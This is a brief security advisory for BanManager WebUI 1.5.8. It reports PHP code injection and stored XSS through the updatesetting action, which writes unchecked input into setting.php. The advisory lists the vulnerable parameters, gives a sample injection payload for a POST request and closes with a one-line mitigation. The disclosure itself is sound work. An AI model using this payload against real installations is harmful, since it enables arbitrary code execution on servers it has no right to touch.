BanManager WebUI 1.5.8 – PHP Code Injection & Stored XSS

Code executed via the updatesetting action will modify 'setting.php'. In the process, there is not verification of the input value, so it is possible to insert php code. Vulnerable parameters include footer, buttons_before, buttons_after, banextra, and muteextra. Attack code is a POST request with the payload 'aaaaaa';$hacker=hwul//inject_php_code';

Mitigation:

Verify user input and ensure that it is properly sanitized before being used in any code.
